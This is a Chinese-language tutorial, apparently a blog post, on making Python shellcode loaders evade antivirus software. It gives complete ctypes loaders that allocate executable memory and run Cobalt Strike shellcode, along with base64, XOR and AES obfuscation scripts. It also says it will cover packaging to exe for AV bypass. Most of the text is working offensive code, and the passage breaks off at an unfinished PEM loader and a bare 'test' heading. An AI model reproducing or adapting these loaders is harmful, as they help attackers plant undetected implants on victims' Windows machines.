前言
python shellcode免杀的常用手法,实现过常见AV的效果。
本文分为几个部分:
1、shellcode加载器实现;
2、代码混淆;
3、寻找免杀api
4、分离免杀,分离加载器与shellcode;
5、python打包成exe
6、组合,免杀效果分析
shellcode加载器实现
第一个shellcode加载器
大部分脚本语言加载Shellcode
都是通过c
的ffi
去调用操作系统的api
,如果我们了解了C
是怎么加载Shellcode
的原理,使用时只需要查询一下对应语言的调用方式即可。首先我们要明白,Shellcode
是一串可执行的二进制代码,那么我们想利用它就可以先通过其他的方法来开辟一段具有读写和执行权限的区域;然后将我们的Shellcode
放进去,之后跳转到Shellcode
的首地址去执行就可以了。
我们可以利用Python
中的ctypes
库实现这一过程,ctypes
是Python
的外部函数库。它提供了与C
语言兼容的数据类型,并允许调用DLL
或共享库中的函数。可使用该模块以纯 Python
形式对这些库进行封装。
first_python_shellcodeloader.py :
#coding=utf-8 #python的ctypes模块是内建,用来调用系统动态链接库函数的模块 #使用ctypes库可以很方便地调用C语言的动态链接库,并可以向其传递参数。 import ctypes shellcode = bytearray(b"\xfc\xe8\x89\x00\x00\x00\x60\x89......") # 设置VirtualAlloc返回类型为ctypes.c_uint64 #在64位系统上运行,必须使用restype函数设置VirtualAlloc返回类型为ctypes.c_unit64,否则默认的是32位 ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64 # 申请内存:调用kernel32.dll动态链接库中的VirtualAlloc函数申请内存 ptr = ctypes.windll.kernel32.VirtualAlloc( ctypes.c_int(0), #要分配的内存区域的地址 ctypes.c_int(len(shellcode)), #分配的大小 ctypes.c_int(0x3000), #分配的类型,0x3000代表MEM_COMMIT | MEM_RESERVE ctypes.c_int(0x40) #该内存的初始保护属性,0x40代表可读可写可执行属性 ) # 调用kernel32.dll动态链接库中的RtlMoveMemory函数将shellcode移动到申请的内存中 buffered = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) ctypes.windll.kernel32.RtlMoveMemory( ctypes.c_uint64(ptr), buffered, ctypes.c_int(len(shellcode)) ) # 创建一个线程从shellcode放置位置首地址开始执行 handle = ctypes.windll.kernel32.CreateThread( ctypes.c_int(0), #指向安全属性的指针 ctypes.c_int(0), #初始堆栈大小 ctypes.c_uint64(ptr), #指向起始地址的指针 ctypes.c_int(0), #指向任何参数的指针 ctypes.c_int(0), #创建标志 ctypes.pointer(ctypes.c_int(0)) #指向接收线程标识符的值的指针 ) # 等待上面创建的线程运行完 ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
使用CS生成shellcode,填入以上代码的shellcode部分,然后运行脚本,即可上线:
然后,我们可以使用pytinstaller、py2exe打包成exe。但是现在并没有任何免杀效果。
为了达到免杀效果,我们需要从多方面去考虑,shellcode特征、加载器特征等, 需要逐个去debug
渐进式加载模式
在申请内存时,一定要把控好属性,可以在Shellcode读入时,申请一个普通的可读写的内存页,然后再通过VirtualProtect改变它的属性 -> 可执行。
#coding=utf-8 import ctypes shellcode = bytearray(b"\xfc\x48\x83....") # 设置VirtualAlloc返回类型为ctypes.c_uint64 ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64 # 申请内存:调用kernel32.dll动态链接库中的VirtualAlloc函数申请内存 ptr = ctypes.windll.kernel32.VirtualAlloc( ctypes.c_int(0), #要分配的内存区域的地址 ctypes.c_int(len(shellcode)), #分配的大小 ctypes.c_int(0x3000), #分配的类型,0x3000代表MEM_COMMIT | MEM_RESERVE ctypes.c_int(0x04) #该内存的初始保护属性,0x04代表可读可写不可执行属性 ) # 调用kernel32.dll动态链接库中的RtlMoveMemory函数将shellcode移动到申请的内存中 buffered = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) ctypes.windll.kernel32.RtlMoveMemory( ctypes.c_uint64(ptr), buffered, ctypes.c_int(len(shellcode)) ) # 这里开始更改它的属性为可执行 ctypes.windll.kernel32.VirtualProtect(ptr, len(shellcode), 0x40, ctypes.byref(ctypes.c_long(1))) # 创建一个线程从shellcode放置位置首地址开始执行 handle = ctypes.windll.kernel32.CreateThread( ctypes.c_int(0), #指向安全属性的指针 ctypes.c_int(0), #初始堆栈大小 ctypes.c_uint64(ptr), #指向起始地址的指针 ctypes.c_int(0), #指向任何参数的指针 ctypes.c_int(0), #创建标志 ctypes.pointer(ctypes.c_int(0)) #指向接收线程标识符的值的指针 ) # 等待上面创建的线程运行完 ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
当然现在也有一些杀软对VirtualAlloc和VirtualProtect连用进行查杀
代码混淆
shellcode混淆
可用的shellcode混淆方法有很多,如:直接使用aes、des、xor、base64、hex等方法对shellcode进行编码,或者使用现成的工具(msfvenom、veil)对shellcode进行二进制形式的混淆,或者反序列化混淆等,再将其中的几种进行结合以达到更好的效果。这里我们演示其中的几种。
base64
base64的实现比较简单,但是单独使用效果不怎么样,一般会与其他方法配合使用。
shellcode_base64_encode.py:
import base64 buf1 = b"\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00..." #b64shellcode = base64.b64encode(buf1) # b'xxxx' b64shellcode = base64.b64encode(buf1).decode('ascii') #获取纯字符串 print(b64shellcode)
我们加载器相应的需要进行base64解码,只需改前两行就可以,把生成的base64填入
first_base64_decode_shellcodeloader.py:
import base64 import ctypes shellcode = base64.b64decode(b'/EiD5PDoyAAAAEF......') shellcode = bytearray(shellcode) # 设置VirtualAlloc返回类型为ctypes.c_uint64 ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64 # 申请内存:调用kernel32.dll动态链接库中的VirtualAlloc函数申请内存 ptr = ctypes.windll.kernel32.VirtualAlloc( ctypes.c_int(0), #要分配的内存区域的地址 ctypes.c_int(len(shellcode)), #分配的大小 ctypes.c_int(0x3000), #分配的类型,0x3000代表MEM_COMMIT | MEM_RESERVE ctypes.c_int(0x40) #该内存的初始保护属性,0x40代表可读可写可执行属性 ) # 调用kernel32.dll动态链接库中的RtlMoveMemory函数将shellcode移动到申请的内存中 buffered = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) ctypes.windll.kernel32.RtlMoveMemory( ctypes.c_uint64(ptr), buffered, ctypes.c_int(len(shellcode)) ) # 创建一个线程从shellcode放置位置首地址开始执行 handle = ctypes.windll.kernel32.CreateThread( ctypes.c_int(0), #指向安全属性的指针 ctypes.c_int(0), #初始堆栈大小 ctypes.c_uint64(ptr), #指向起始地址的指针 ctypes.c_int(0), #指向任何参数的指针 ctypes.c_int(0), #创建标志 ctypes.pointer(ctypes.c_int(0)) #指向接收线程标识符的值的指针 ) # 等待上面创建的线程运行完 ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
运行上面的代码,即可上线
xor
异或加密算是最简单高效的方法。
利用CS生成raw格式的shellcode,然后用python读取shellcode对其中的字节一个一个的做异或。
shellcode_xor_encode.py:
# __*__coding:utf-8 __*__ from optparse import OptionParser import sys def xorEncode(file,key,output): shellcode = "" shellcode_size = 0 while True: code = file.read(1) if not code : break code = ord(code) ^ key code_hex = hex(code) code_hex = code_hex.replace("0x",'') if len(code_hex) == 1: code_hex = '0'+code_hex shellcode += '\\x' + code_hex shellcode_size += 1 file.close() output.write(shellcode) output.close() print(f"shellcodeSize:{shellcode_size}") if __name__== "__main__": usage = "usage: %prog [-f] input_filename [-k] key [-o] output_filename" parser = OptionParser(usage=usage) parser.add_option("-f","--file",help="input raw shellcode file",type="string",dest="file") parser.add_option("-k","--key",help="xor key",type="int",dest="key",default=11) parser.add_option("-o","--output",help="output x16 shellcode file",type="string",dest="output") if len(sys.argv) < 4: parser.print_help() exit() (options, params) = parser.parse_args() with open(options.file,'rb') as file: with open(options.output,'w+') as output: xorEncode(file,options.key,output)
这样shellcode就完成了异或加密。
接下来我们加载器相应的需要进行异或解密,注意key要一样
xor_decode_shellcodeloader.py :
import ctypes #xor shellcode xor_shellcode = "生成的xor shellcode" #xor key key = 11 shellcode = bytearray([ord(xor_shellcode[i]) ^ key for i in range(len(xor_shellcode))]) # 设置VirtualAlloc返回类型为ctypes.c_uint64 ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64 # 申请内存:调用kernel32.dll动态链接库中的VirtualAlloc函数申请内存 ptr = ctypes.windll.kernel32.VirtualAlloc( ctypes.c_int(0), #要分配的内存区域的地址 ctypes.c_int(len(shellcode)), #分配的大小 ctypes.c_int(0x3000), #分配的类型,0x3000代表MEM_COMMIT | MEM_RESERVE ctypes.c_int(0x40) #该内存的初始保护属性,0x40代表可读可写可执行属性 ) # 调用kernel32.dll动态链接库中的RtlMoveMemory函数将shellcode移动到申请的内存中 buffered = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) ctypes.windll.kernel32.RtlMoveMemory( ctypes.c_uint64(ptr), buffered, ctypes.c_int(len(shellcode)) ) # 创建一个线程从shellcode放置位置首地址开始执行 handle = ctypes.windll.kernel32.CreateThread( ctypes.c_int(0), #指向安全属性的指针 ctypes.c_int(0), #初始堆栈大小 ctypes.c_uint64(ptr), #指向起始地址的指针 ctypes.c_int(0), #指向任何参数的指针 ctypes.c_int(0), #创建标志 ctypes.pointer(ctypes.c_int(0)) #指向接收线程标识符的值的指针 ) # 等待上面创建的线程运行完 ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
运行上面的代码,即可上线
PyCryptodome 库
这里用到 PyCryptodome 库,它可以实现各种加密方式的加解密。
官方文档:https://pycryptodome.readthedocs.io/en/latest/
可用的加密方式:
Symmetric ciphers: AES Single and Triple DES (legacy) CAST-128 (legacy) RC2 (legacy) Traditional modes of operations for symmetric ciphers: ECB CBC CFB OFB CTR OpenPGP (a variant of CFB, RFC4880) Authenticated Encryption: CCM (AES only) EAX GCM (AES only) SIV (AES only) OCB (AES only) ChaCha20-Poly1305 Stream ciphers: Salsa20 ChaCha20 RC4 (legacy) Cryptographic hashes: SHA-1 SHA-2 hashes (224, 256, 384, 512, 512/224, 512/256) SHA-3 hashes (224, 256, 384, 512) and XOFs (SHAKE128, SHAKE256) Functions derived from SHA-3 (cSHAKE128, cSHAKE256, TupleHash128, TupleHash256) KangarooTwelve (XOF) Keccak (original submission to SHA-3) BLAKE2b and BLAKE2s RIPE-MD160 (legacy) MD5 (legacy) Message Authentication Codes (MAC): HMAC CMAC KMAC128 and KMAC256 Poly1305 Asymmetric key generation: RSA ECC (NIST curves P-192, P-224, P-256, P-384 and P-521) DSA ElGamal (legacy) Export and import format for asymmetric keys: PEM (clear and encrypted) PKCS#8 (clear and encrypted) ASN.1 DER Asymmetric ciphers: PKCS#1 (RSA) RSAES-PKCS1-v1_5 RSAES-OAEP Asymmetric digital signatures: PKCS#1 (RSA) RSASSA-PKCS1-v1_5 RSASSA-PSS (EC)DSA Nonce-based (FIPS 186-3) Deterministic (RFC6979) Key derivation: PBKDF2 scrypt HKDF PBKDF1 (legacy) Other cryptographic protocols: Shamir Secret Sharing Padding PKCS#7 ISO-7816 X.923
API:
安装:
pip install pycryptodome -i https://pypi.douban.com/simple
下面演示几种,更多的可以自己去探索。
AES
参考文档:
https://pycryptodome.readthedocs.io/en/latest/src/cipher/aes.html
具体我这里就不再展开了。
直接用:
加密,CBC模式
shellcode_aes_encode.py:
from base64 import b64encode from Crypto.Cipher import AES from Crypto.Util.Padding import pad from Crypto.Random import get_random_bytes shellcode = b"\xfc\x48\x83\xe4\xf0...." key = get_random_bytes(16) cipher = AES.new(key, AES.MODE_CBC) ct_bytes = cipher.encrypt(pad(shellcode, AES.block_size)) iv = b64encode(cipher.iv).decode('utf-8') ct = b64encode(ct_bytes).decode('utf-8') print('iv: \n {} \n key:\n {} \n ase_shellcode:\n {} \n'.format(iv,key,ct))
解密,并加载:
aes_decode_shellcodeloader.py:
import ctypes from base64 import b64decode from Crypto.Cipher import AES from Crypto.Util.Padding import unpad #把加密代码输出的结果填到下面 iv='xxx' key=b'xxx' ase_shellcode='xxx' iv = b64decode(iv) ase_shellcode = b64decode(ase_shellcode) cipher = AES.new(key, AES.MODE_CBC, iv) shellcode = bytearray(unpad(cipher.decrypt(ase_shellcode), AES.block_size)) # 设置VirtualAlloc返回类型为ctypes.c_uint64 ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64 # 申请内存:调用kernel32.dll动态链接库中的VirtualAlloc函数申请内存 ptr = ctypes.windll.kernel32.VirtualAlloc( ctypes.c_int(0), #要分配的内存区域的地址 ctypes.c_int(len(shellcode)), #分配的大小 ctypes.c_int(0x3000), #分配的类型,0x3000代表MEM_COMMIT | MEM_RESERVE ctypes.c_int(0x40) #该内存的初始保护属性,0x40代表可读可写可执行属性 ) # 调用kernel32.dll动态链接库中的RtlMoveMemory函数将shellcode移动到申请的内存中 buffered = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) ctypes.windll.kernel32.RtlMoveMemory( ctypes.c_uint64(ptr), buffered, ctypes.c_int(len(shellcode)) ) # 创建一个线程从shellcode放置位置首地址开始执行 handle = ctypes.windll.kernel32.CreateThread( ctypes.c_int(0), #指向安全属性的指针 ctypes.c_int(0), #初始堆栈大小 ctypes.c_uint64(ptr), #指向起始地址的指针 ctypes.c_int(0), #指向任何参数的指针 ctypes.c_int(0), #创建标志 ctypes.pointer(ctypes.c_int(0)) #指向接收线程标识符的值的指针 ) # 等待上面创建的线程运行完 ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
运行上面代码,即可上线:
PEM
加密
from Crypto.IO import PEM buf = b"" # 加密 # passphrase:指定密钥 # marker:指定名称 buf = PEM.encode(buf, marker="shellcode", passphrase=None, randfunc=None)
解密,加载
import ctypes from Crypto.IO import PEM # 加密后的shellcode buf = """ """ # 解密 shellcode = bytearray(PEM.decode(buf, passphrase=None)[0]) ... ...
测试: